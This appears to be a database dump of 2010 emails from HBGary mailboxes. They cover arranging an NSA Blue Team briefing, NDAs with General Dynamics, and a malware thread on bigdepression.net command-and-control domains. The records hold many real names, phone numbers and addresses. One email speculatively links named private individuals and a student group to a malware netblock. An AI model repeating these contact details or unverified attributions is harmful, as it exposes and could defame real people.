institutions\r\ndeceiving customers\r\n\r\n4.      Poor security leaves VA systems open to attack, watchdog says\r\n\r\n5.      Over 80 Chinese government Web sites hacked\r\n\r\n6.      Microsoft to give governments heads up on security\r\nvulnerabilities\r\n\r\n7.      Hacking the security infrastructure\r\n\r\n8.      Microsoft chases \'click laundering\'\r\n\r\n9.      Schmidt Wants to Change Federal Cybersecurity Game\r\n\r\n10.     Internet blockade in Pakistan continues\r\n\r\n11.     The top 10 awfully bad passwords people use\r\n\r\n12.     Australian Cyber Crime Nets $70 Million Annually\r\n\r\n13.     Social networking sites passing on user data to ad agencies\r\n\r\n14.     Office 2010 Beta impersonator is a Trojan \r\n\r\n15.     Symantec to acquire VeriSign\'s security business\r\n\r\n16.     Rogue software details: ByteDefender\r\n\r\n\r\n\r\n',7345,'aaron_hbgary_com/7345.html'),(6576,'2010-05-21','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>','/aaron@hbgary.com/new/1297004729.M365930P14101Q1431.eml','bob@hbgary.com,bob@hbgary.com','REBL 10 Briefing','Bob,\r\n\r\nYesterday you mentioned that you might want Greg to speak on Tuesday\r\nafternoon instead of Thursday afternoon.  Please let me know.\r\n\r\nAaron, if that happens, I can possibly move your talk to Tuesday as well.\r\n\r\nScott K. Brown\r\nTechnical Director\r\nNSA Blue Team\r\n(410) 854-6529\r\nsbrown@dewnet.ncsc.mil\r\n\r\n\r\n',1648,'aaron_hbgary_com/1648.html'),(6577,'2010-05-21','\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>','/aaron@hbgary.com/new/1297004732.M176726P14101Q1432.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: FBI ESOC - NDA and TA Update','\r\n\r\n\r\n\r\n\r\nFW: FBI ESOC - NDA and TA Update\r\n\r\n\r\n\r\n\r\nAaron &amp; Ted,\r\n\r\nJust an update on the NDA.&nbsp;&nbsp; Please let me know when its sent.\r\n\r\nThanks,\r\n\r\nDoug\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Varga, Joan A.\r\nSent: Friday, May 21, 2010 1:35 PM\r\nTo: Harlow, Douglas M.\r\nCc: Lemke, Michelle R.\r\nSubject: RE: FBI ESOC - NDA and TA Update\r\n\r\n\r\n\r\nNothing new to report, although HBGary advised they would return the NDA to Kim today but she has not yet received it.\r\n\r\nJoan \r\n\r\n240-456-5415\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Harlow, Douglas M.\r\nSent: Friday, May 21, 2010 12:57 PM\r\nTo: Varga, Joan A.\r\nCc: Lemke, Michelle R.\r\nSubject: FBI ESOC - NDA and TA Update\r\n\r\n\r\n\r\nJoan, \r\n\r\nCan you tell me if we have received any new NDAs or TAs back from SMS, EmeSec, HBGary or Stroz Friedberg ?\r\n\r\nThanks,\r\n\r\nDoug\r\n\r\n\r\n\r\n\r\n',2887,'aaron_hbgary_com/2887.html'),(6578,'2010-05-21','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004734.M793118P14101Q1433.eml','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>,\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>,,','RE: REBL 10 Briefing','Scott,\r\n\r\nI just verified with Greg that he will do the REBL talk on Tuesday, June 15.\r\nThis is the correct date, right?\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\n-----Original Message-----\r\nFrom: Scott K. Brown [mailto:sbrown@dewnet.ncsc.mil] \r\nSent: Friday, May 21, 2010 2:28 PM\r\nTo: bob@hbgary.com\r\nCc: Aaron Barr\r\nSubject: REBL 10 Briefing\r\n\r\nBob,\r\n\r\nYesterday you mentioned that you might want Greg to speak on Tuesday\r\nafternoon instead of Thursday afternoon.  Please let me know.\r\n\r\nAaron, if that happens, I can possibly move your talk to Tuesday as well.\r\n\r\nScott K. Brown\r\nTechnical Director\r\nNSA Blue Team\r\n(410) 854-6529\r\nsbrown@dewnet.ncsc.mil\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.819 / Virus Database: 271.1.1/2887 - Release Date: 05/21/10\r\n02:26:00\r\n\r\n',2609,'aaron_hbgary_com/2609.html'),(6579,'2010-05-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004737.M112560P14101Q1434.eml','Kimberly.Hoagland@gd-ais.com,\"Barr Aaron\" <aaron@hbgary.com>','NDA','Signed NDA attached.\r\n\r\nRegards,\r\nTed\r\n>\r\n\r\n>\r\n',11848,'aaron_hbgary_com/11848.html'),(6580,'2010-05-21','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','/aaron@hbgary.com/new/1297004742.M990986P14101Q1435.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,','RE: HBGary Federal NDA','Attached is the fully executed NDA.\r\n\r\n\r\nThank you, \r\n \r\nKimberly Hoagland\r\nSr. Specialist-Subcontracts \r\nGeneral Dynamics Advanced Information Systems, Inc. \r\n \r\nMailing Address:\r\n 10925 Pump House Road\r\n Annapolis Junction, MD 20701\r\nPhysical Address:\r\n 2721 Technology Drive\r\n Annapolis Junction, MD  20701\r\n \r\n(240) 294-2275 (v)\r\n(240) 294-2181 (f)\r\nkimberly.hoagland@gd-ais.com\r\n \r\nThis e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Friday, May 21, 2010 3:11 PM\r\nTo: Hoagland, Kimberly A.; Barr Aaron\r\nSubject: NDA\r\n\r\nSigned NDA attached.\r\n\r\nRegards,\r\nTed\r\n>\r\n\r\n>\r\n',9469,'aaron_hbgary_com/9469.html'),(6581,'2010-05-21','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297004743.M591176P14101Q1436.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Brad Plack and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsMay 21, 2010\r\n    AFCEA NOVA\r\n    \r\n      Latest:\r\n          1 discussion\r\n      \r\n      \r\n      \r\n      \r\n      \r\n    \r\n\r\n      \r\n    \r\n\r\n      \r\nDiscussions (1)  \r\n\r\n    \r\n      \r\n        Has anyone attended courses offered by the AFCEA PDC?\r\n        Add a comment  &raquo;\r\n\r\n      Started by Brad Plack, Senior Analyst in Federal Marketplace\r\n        \r\n          \r\n                    I\'m specifically trying to get a feel for the level of curriculum that is covered in the &#x201c;Ultimate Government Market Research Workshop.&quot;   Any feedback is appreciated (who\'s the target audience, who teaches it, etc.)\r\n                By Brad Plack, Senior Analyst in Federal Marketplace\r\n           \r\n          \r\n    \r\n\r\n\r\n\r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',11136,'aaron_hbgary_com/11136.html'),(6582,'2010-05-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004743.M968022P14101Q1437.eml','\"Aaron Barr\" <adbarr@mac.com>','','https://secure1.anthem.com/wps/portal/escproviderfinder?=&natdir=&ProvDirURL=http://provider-directory.anthem.com/awp/landing%2Easp%3F%3D%26natdir%3D\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6645,'aaron_hbgary_com/6645.html'),(6583,'2010-05-21','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004744.M213732P14101Q1438.eml','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>,\"Greg Hoglund\" <greg@hbgary.com>,\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>,\"Greg Hoglund\" <greg@hbgary.com>','RE: REBL 10 Briefing','Greg,\r\n\r\nScott Brown has some questions:\r\n\r\nDo you want your briefing (slides) to be posted?\r\nDo you want your name listed in their attendee list?\r\nWill you use your own laptop or just want to send Scott your slides?\r\nWhat is the title of your talk?\r\n\r\nYour briefing will be Tuesday, June 15 at 3:30 to 4:30.\r\n\r\nPenny -- FYI, this is the same date as the FIRST conference.  Is this an\r\nissue?  I think I\'m supposed to be at FIRST.  \r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Scott K. Brown [mailto:sbrown@dewnet.ncsc.mil] \r\nSent: Friday, May 21, 2010 4:04 PM\r\nTo: Bob Slapnik\r\nCc: Barbour, Garth S.; Beltz, Ruth; William A. Casanova; Jeffrey Arsenault;\r\nJonathan Kaltwasser; Corinne Liddy; Palmer, Sharon; Scott K. Brown; Tamika\r\nLee\r\nSubject: RE: REBL 10 Briefing\r\n\r\nBob,\r\n\r\nThat is great news.  Do you know if Greg would want to have his briefing\r\nposted or his name included in our attendee list?  If so, then we will need\r\nto forward you some documents.  Will Greg be using his own laptop or do you\r\njust want to send me the briefing?  I\'m trying not to have Greg jump through\r\nall of the hoops that we have our other speakers jump through.\r\n\r\nThe briefing will be scheduled for Tuesday, 15 June, from 3:30 to 4:30.  The\r\nvenue will be completely unclassified and there will be no competing\r\nsessions or briefings scheduled.  As a placeholder, I have named the talk\r\n\"The State of Malware\".\r\n\r\nThanks,\r\n\r\nScott\r\n\r\n-----Original Message-----\r\nFrom: Bob Slapnik [mailto:bob@hbgary.com] \r\nSent: Friday, May 21, 2010 3:00 PM\r\nTo: Scott K. Brown\r\nCc: \'Aaron Barr\'; \'Penny Leavy-Hoglund\'; \'Greg Hoglund\'\r\nSubject: RE: REBL 10 Briefing\r\n\r\nScott,\r\n\r\nI just verified with Greg that he will do the REBL talk on Tuesday, June 15.\r\nThis is the correct date, right?\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419 www.hbgary.com  |\r\nbob@hbgary.com\r\n\r\n-----Original Message-----\r\nFrom: Scott K. Brown [mailto:sbrown@dewnet.ncsc.mil]\r\nSent: Friday, May 21, 2010 2:28 PM\r\nTo: bob@hbgary.com\r\nCc: Aaron Barr\r\nSubject: REBL 10 Briefing\r\n\r\nBob,\r\n\r\nYesterday you mentioned that you might want Greg to speak on Tuesday\r\nafternoon instead of Thursday afternoon.  Please let me know.\r\n\r\nAaron, if that happens, I can possibly move your talk to Tuesday as well.\r\n\r\nScott K. Brown\r\nTechnical Director\r\nNSA Blue Team\r\n(410) 854-6529\r\nsbrown@dewnet.ncsc.mil\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.819 / Virus Database: 271.1.1/2887 - Release Date: 05/21/10\r\n02:26:00\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.819 / Virus Database: 271.1.1/2887 - Release Date: 05/21/10\r\n02:26:00\r\n\r\n',7637,'aaron_hbgary_com/7637.html'),(6584,'2010-05-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004744.M461807P14101Q1439.eml','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>,\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>','Re: REBL 10 Briefing','Scott,\r\n\r\nIf you can that would be great.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 21, 2010, at 2:27 PM, \"Scott K. Brown\"  wrote:\r\n\r\n> Bob,\r\n>\r\n> Yesterday you mentioned that you might want Greg to speak on Tuesday\r\n> afternoon instead of Thursday afternoon.  Please let me know.\r\n>\r\n> Aaron, if that happens, I can possibly move your talk to Tuesday as well.\r\n>\r\n> Scott K. Brown\r\n> Technical Director\r\n> NSA Blue Team\r\n> (410) 854-6529\r\n> sbrown@dewnet.ncsc.mil\r\n>\r\n>\r\n',2783,'aaron_hbgary_com/2783.html'),(6585,'2010-05-21','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004744.M758646P14101Q1440.eml','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>,\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>,','RE: REBL 10','Scott,\r\n\r\nWe could probably have Martin to give this talk to NTOC.  Any idea when it\r\ncould be arranged?\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Scott K. Brown [mailto:sbrown@dewnet.ncsc.mil] \r\nSent: Friday, May 21, 2010 4:17 PM\r\nTo: Bob Slapnik\r\nSubject: REBL 10\r\n\r\nBob,\r\n\r\nSaw this talk on the FIRST Conference web page.  This would be a good talk\r\nfor NTOC, but for our audience, we would be more interested in learning\r\nabout the current state of malware, new techniques for hiding, how to find,\r\netc ...\r\n\r\n\r\nPillion, Martin\r\nSenior Software Engineer, HBGary, Inc.   \r\nMartin Pillion is a Senior Software Engineer for HBGary, Inc. in Sacramento,\r\nCalifornia. At HBGary, his responsibilities include designing and developing\r\nHBGary Responder COTS software reverse engineering tools, reverse\r\nengineering software for security vulnerabilities designing and developing\r\nWindows NT/2000/XP Device Drivers. Mr. Pillion also serves as an Instructor\r\nfor HBGary training classes. Prior to joining HBGary, Mr. Pillion served as\r\na Senior Software Engineer at RABA Technologies.\r\nFingerprinting Malware Developers   \r\nOver the last decade, the Malware Industry has grown at a phenomenal rate.\r\nThe volume of unique Malware, the sophistication of Malware techniques, and\r\nthe number of participants in the overall Malware environment have all\r\nreached a critical mass - they have surpassed the ability of the Security\r\nIndustry to provide comprehensive protection. The Security Industry is\r\nchanging, adapting, and growing in an effort to catch up to the Malware\r\nIndustry. In my presentation, \"Fingerprinting Malware Developers,\" I will\r\ndiscuss how to fingerprint -- and potentially identify -- the developers\r\nbehind each piece of Malware.\r\n\r\nFingerprinting Malware has emerged as a significant concern in today\'s\r\nsecurity environment. Forensic Investigators, Security Consultants, Software\r\nVendors, Network Administrators, and CISOs all want to determine who is\r\nbehind the attacks on their victims, clients, customers, products, and\r\nnetworks. They want to utilize this information for a variety of\r\npurposes-prosecute the attackers, identify related attacks, and secure\r\nagainst future attacks.\r\n\r\nThis presentation will outline a number of methods, and some myths, related\r\nto the more general field of fingerprinting software developers. Methods\r\ncovered include instruction usage, analysis of code patterns, debug\r\ninformation, language attribution, linked third-party libraries, embedded\r\nproduct keys, compiler and linker information, compiler signatures, machine\r\nsignatures, and globally unique identifiers. These methods are then applied\r\nto the more specific context of Malware, and the success or failure of each\r\nmethod will be discussed. Finally, I will discuss some of the reasons that\r\nfingerprinting Malware developers can be a difficult problem to solve.\r\n\r\n\r\n\r\nScott K. Brown\r\nTechnical Director\r\nNSA Blue Team\r\n(410) 854-6529\r\nsbrown@dewnet.ncsc.mil\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.819 / Virus Database: 271.1.1/2887 - Release Date: 05/21/10\r\n02:26:00\r\n\r\n',10319,'aaron_hbgary_com/10319.html'),(6586,'2010-05-21','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>','/aaron@hbgary.com/new/1297004745.M163228P14101Q1441.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','RE: REBL 10','Bob,\r\n\r\nI would suggest that you contact your NTOC reps and ask if they would be\r\ninterested.  \r\n\r\nScott\r\n\r\n-----Original Message-----\r\nFrom: Bob Slapnik [mailto:bob@hbgary.com] \r\nSent: Friday, May 21, 2010 4:37 PM\r\nTo: Scott K. Brown\r\nCc: \'Penny Leavy-Hoglund\'; \'Aaron Barr\'\r\nSubject: RE: REBL 10\r\n\r\nScott,\r\n\r\nWe could probably have Martin to give this talk to NTOC.  Any idea when it\r\ncould be arranged?\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419 www.hbgary.com  |\r\nbob@hbgary.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Scott K. Brown [mailto:sbrown@dewnet.ncsc.mil]\r\nSent: Friday, May 21, 2010 4:17 PM\r\nTo: Bob Slapnik\r\nSubject: REBL 10\r\n\r\nBob,\r\n\r\nSaw this talk on the FIRST Conference web page.  This would be a good talk\r\nfor NTOC, but for our audience, we would be more interested in learning\r\nabout the current state of malware, new techniques for hiding, how to find,\r\netc ...\r\n\r\n\r\nPillion, Martin\r\nSenior Software Engineer, HBGary, Inc.   \r\nMartin Pillion is a Senior Software Engineer for HBGary, Inc. in Sacramento,\r\nCalifornia. At HBGary, his responsibilities include designing and developing\r\nHBGary Responder COTS software reverse engineering tools, reverse\r\nengineering software for security vulnerabilities designing and developing\r\nWindows NT/2000/XP Device Drivers. Mr. Pillion also serves as an Instructor\r\nfor HBGary training classes. Prior to joining HBGary, Mr. Pillion served as\r\na Senior Software Engineer at RABA Technologies.\r\nFingerprinting Malware Developers   \r\nOver the last decade, the Malware Industry has grown at a phenomenal rate.\r\nThe volume of unique Malware, the sophistication of Malware techniques, and\r\nthe number of participants in the overall Malware environment have all\r\nreached a critical mass - they have surpassed the ability of the Security\r\nIndustry to provide comprehensive protection. The Security Industry is\r\nchanging, adapting, and growing in an effort to catch up to the Malware\r\nIndustry. In my presentation, \"Fingerprinting Malware Developers,\" I will\r\ndiscuss how to fingerprint -- and potentially identify -- the developers\r\nbehind each piece of Malware.\r\n\r\nFingerprinting Malware has emerged as a significant concern in today\'s\r\nsecurity environment. Forensic Investigators, Security Consultants, Software\r\nVendors, Network Administrators, and CISOs all want to determine who is\r\nbehind the attacks on their victims, clients, customers, products, and\r\nnetworks. They want to utilize this information for a variety of\r\npurposes-prosecute the attackers, identify related attacks, and secure\r\nagainst future attacks.\r\n\r\nThis presentation will outline a number of methods, and some myths, related\r\nto the more general field of fingerprinting software developers. Methods\r\ncovered include instruction usage, analysis of code patterns, debug\r\ninformation, language attribution, linked third-party libraries, embedded\r\nproduct keys, compiler and linker information, compiler signatures, machine\r\nsignatures, and globally unique identifiers. These methods are then applied\r\nto the more specific context of Malware, and the success or failure of each\r\nmethod will be discussed. Finally, I will discuss some of the reasons that\r\nfingerprinting Malware developers can be a difficult problem to solve.\r\n\r\n\r\n\r\nScott K. Brown\r\nTechnical Director\r\nNSA Blue Team\r\n(410) 854-6529\r\nsbrown@dewnet.ncsc.mil\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.819 / Virus Database: 271.1.1/2887 - Release Date: 05/21/10\r\n02:26:00\r\n\r\n',6526,'aaron_hbgary_com/6526.html'),(6587,'2010-05-21','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>','/aaron@hbgary.com/new/1297004745.M451906P14101Q1442.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: REBL 10 Briefing','Aaron,\r\n\r\nMoved your brief to Tuesday.  Since the auditorium track was already full, I\r\nhad to put you in one of the classrooms that hold up to 52 attendees.  I\'ve\r\nbeen asking our classroom briefers to offer their talks twice, usually back\r\nto back.  If you agree, then your talks would be at 1:30 and 2:30 (50\r\nminutes each with 10 minute break in between).  Your second talk would end\r\nat 3:20 and Greg\'s talk would start at 3:30.\r\n\r\nScott\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, May 21, 2010 4:36 PM\r\nTo: Scott K. Brown\r\nCc: bob@hbgary.com\r\nSubject: Re: REBL 10 Briefing\r\n\r\nScott,\r\n\r\nIf you can that would be great.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 21, 2010, at 2:27 PM, \"Scott K. Brown\" \r\nwrote:\r\n\r\n> Bob,\r\n>\r\n> Yesterday you mentioned that you might want Greg to speak on Tuesday \r\n> afternoon instead of Thursday afternoon.  Please let me know.\r\n>\r\n> Aaron, if that happens, I can possibly move your talk to Tuesday as well.\r\n>\r\n> Scott K. Brown\r\n> Technical Director\r\n> NSA Blue Team\r\n> (410) 854-6529\r\n> sbrown@dewnet.ncsc.mil\r\n>\r\n>\r\n',12390,'aaron_hbgary_com/12390.html'),(6588,'2010-05-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004745.M752379P14101Q1443.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: ntshrui.dll','ok after poking around some I am taking a guess that the derivations of bigdepression.net are like the encrypted buffers in aurora. &nbsp;I can not find any link between these domains. &nbsp;I went down a rabbit hole with RDTG.net, but don\'t think it amounts to anything. &nbsp;Its weird because the guy that owns RDTG.net owns Hostivia.com and userdns.com. &nbsp;Userdns.com is registered by a private domain registrar but just a little bit of digging shows the association.ssion.net is registered to some arabic artist, eddy al-shehri. &nbsp;In the same netblock there is another site from Indianapolis, indyssc.com which is a Saudi Arabian Student Group in Indianapolis.The IP-block is 72.46.147.192-255. &nbsp;There is very little in this ip space, and what is there seems to be dedicated. &nbsp;Each IP that does have something is all part of the same owner.The sites in this IP block are either from people in Nevada, which is where the R&amp;D Technologies company (owned by Robert Tyre) is from, or from Indianapolis. &nbsp;The Binkiesandbooties.com site is weird in that it is basically fluff with strange pictures and is owned by Robert Tyree\'s brother Jason. &nbsp;Odd site for a guy to run. &nbsp;The black-laboratory.com site is protected by domain privacy. &nbsp;Stereowhore.com and Lynnsworldlv.com are a band and a consignment shop in Las Vegas. &nbsp;Sellgoldvegas.com is owned by Robert Tyree.192 - nothing193 - nothing194 - nothing195 - Lynnsworldlv.com, supportcafe.com196 - stereowhore.com197 - ssion.net, eddyalshehri.com/net/org/info, muzicat.com, albent.net198 - nothing199 - nothing210 - Al-hamidy.com, indyssc.com, lmooosha.com, 3 more… (arabic)211 - black-laboratory.com212 - sellgoldvegas.com, selljewelryvegas.com, vegasgoldbuyers.com213 - binkiesandbooties.com, binkiesandbootys.com, binkysandbooties.com&nbsp;R&amp;D Technologies also owns the following netblocks:&nbsp;72.46.128.0 - 72.46.159.255208.64.24.0 - 208.64.31.255For some reason these were called out separately as sub-ipblocks owned by R&amp;D Technologies.72.46.147.128 - 72.46.147.19172.46.147.192 - 72.46.147.255AaronOn May 21, 2010, at 1:55 PM, Rich Cummings wrote:Yes we included bigdepression.net in our report because we could easily tiethat to the iprinp.dll. &nbsp;Where did you get the info on ntshrui? &nbsp;I foundsomething that might be interesting to you on it but dont want to include inemail.What we can\'t verify is the derivations off of bigdepression.net like:ssion.netession.netression.netpression.netepression.netI believe the malware can use this as backup C&amp;C or future C&amp;C as needed. &nbsp;Iwant to tie these to the iprinp.dll family but cannot at the moment.-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Friday, May 21, 2010 1:44 PMTo: Rich CummingsSubject: Re: ntshrui.dllSo that should be a done deal then. &nbsp;There is known malware associated withbigdepression.net, so you should include that in the report right?AaronOn May 21, 2010, at 12:46 PM, Rich Cummings wrote:Did you get my emailed attacment OK-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Friday, May 21, 2010 12:43 PMTo: Rich CummingsSubject: Re: ntshrui.dllyeah I mistyped. &nbsp;The ntshrui.dll is associated with bigdepression.netI am interested if you find or have found that dll.AaronOn May 21, 2010, at 11:37 AM, Rich Cummings wrote:it was bigdepression.net... is that what you meant?-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Friday, May 21, 2010 11:35 AMTo: Rich CummingsSubject: ntshrui.dllThis file looks associated with bigdepression.com.Aaron BarrCEOHBGary Federal Inc.Aaron BarrCEOHBGary Federal Inc.Aaron BarrCEOHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14704,'aaron_hbgary_com/14704.html'),(6589,'2010-05-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004746.M342076P14101Q1444.eml','\"Ted Vera\" <tedvera@me.com>,\"Ted Vera\" <tedvera@me.com>','Thoughts?','\r\n\r\n\r\nI need to fix the alignment on the \"FEDERAL\" but you get the idea.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12538,'aaron_hbgary_com/12538.html'),(6590,'2010-05-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004747.M479516P14101Q1445.eml','\"Aaron Barr\" <adbarr@mac.com>','Docs','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',10938,'aaron_hbgary_com/10938.html'),(6591,'2010-05-21','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004747.M809986P14101Q1446.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>,\"Bob Slapnik\" <bob@hbgary.com>','RE: REBL 10','That would be a good idea.  Martin worked for your \"group\" previously and\r\ndid all sorts of things he can\'t talk about:)\r\n\r\n-----Original Message-----\r\nFrom: Bob Slapnik [mailto:bob@hbgary.com] \r\nSent: Friday, May 21, 2010 1:37 PM\r\nTo: \'Scott K. Brown\'\r\nCc: \'Penny Leavy-Hoglund\'; \'Aaron Barr\'\r\nSubject: RE: REBL 10\r\n\r\nScott,\r\n\r\nWe could probably have Martin to give this talk to NTOC.  Any idea when it\r\ncould be arranged?\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Scott K. Brown [mailto:sbrown@dewnet.ncsc.mil] \r\nSent: Friday, May 21, 2010 4:17 PM\r\nTo: Bob Slapnik\r\nSubject: REBL 10\r\n\r\nBob,\r\n\r\nSaw this talk on the FIRST Conference web page.  This would be a good talk\r\nfor NTOC, but for our audience, we would be more interested in learning\r\nabout the current state of malware, new techniques for hiding, how to find,\r\netc ...\r\n\r\n\r\nPillion, Martin\r\nSenior Software Engineer, HBGary, Inc.   \r\nMartin Pillion is a Senior Software Engineer for HBGary, Inc. in Sacramento,\r\nCalifornia. At HBGary, his responsibilities include designing and developing\r\nHBGary Responder COTS software reverse engineering tools, reverse\r\nengineering software for security vulnerabilities designing and developing\r\nWindows NT/2000/XP Device Drivers. Mr. Pillion also serves as an Instructor\r\nfor HBGary training classes. Prior to joining HBGary, Mr. Pillion served as\r\na Senior Software Engineer at RABA Technologies.\r\nFingerprinting Malware Developers   \r\nOver the last decade, the Malware Industry has grown at a phenomenal rate.\r\nThe volume of unique Malware, the sophistication of Malware techniques, and\r\nthe number of participants in the overall Malware environment have all\r\nreached a critical mass - they have surpassed the ability of the Security\r\nIndustry to provide comprehensive protection. The Security Industry is\r\nchanging, adapting, and growing in an effort to catch up to the Malware\r\nIndustry. In my presentation, \"Fingerprinting Malware Developers,\" I will\r\ndiscuss how to fingerprint -- and potentially identify -- the developers\r\nbehind each piece of Malware.\r\n\r\nFingerprinting Malware has emerged as a significant concern in today\'s\r\nsecurity environment. Forensic Investigators, Security Consultants, Software\r\nVendors, Network Administrators, and CISOs all want to determine who is\r\nbehind the attacks on their victims, clients, customers, products, and\r\nnetworks. They want to utilize this information for a variety of\r\npurposes-prosecute the attackers, identify related attacks, and secure\r\nagainst future attacks.\r\n\r\nThis presentation will outline a number of methods, and some myths, related\r\nto the more general field of fingerprinting software developers. Methods\r\ncovered include instruction usage, analysis of code patterns, debug\r\ninformation, language attribution, linked third-party libraries, embedded\r\nproduct keys, compiler and linker information, compiler signatures, machine\r\nsignatures, and globally unique identifiers. These methods are then applied\r\nto the more specific context of Malware, and the success or failure of each\r\nmethod will be discussed. Finally, I will discuss some of the reasons that\r\nfingerprinting Malware developers can be a difficult problem to solve.\r\n\r\n\r\n\r\nScott K. Brown\r\nTechnical Director\r\nNSA Blue Team\r\n(410) 854-6529\r\nsbrown@dewnet.ncsc.mil\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.819 / Virus Database: 271.1.1/2887 - Release Date: 05/21/10\r\n02:26:00\r\n\r\n\r\n',11470,'aaron_hbgary_com/11470.html'),(6592,'2010-05-21','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297004748.M377578P14101Q1448.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Thoughts?','-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\ni like the black and blue and would go darker on blue it\'s too close to\r\nthe URL highlight color\r\n\r\nOn 05/21/2010 02:51 PM, Aaron Barr wrote:\r\n> \r\n> \r\n> \r\n> I need to fix the alignment on the \"FEDERAL\" but you get the idea.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.10 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - 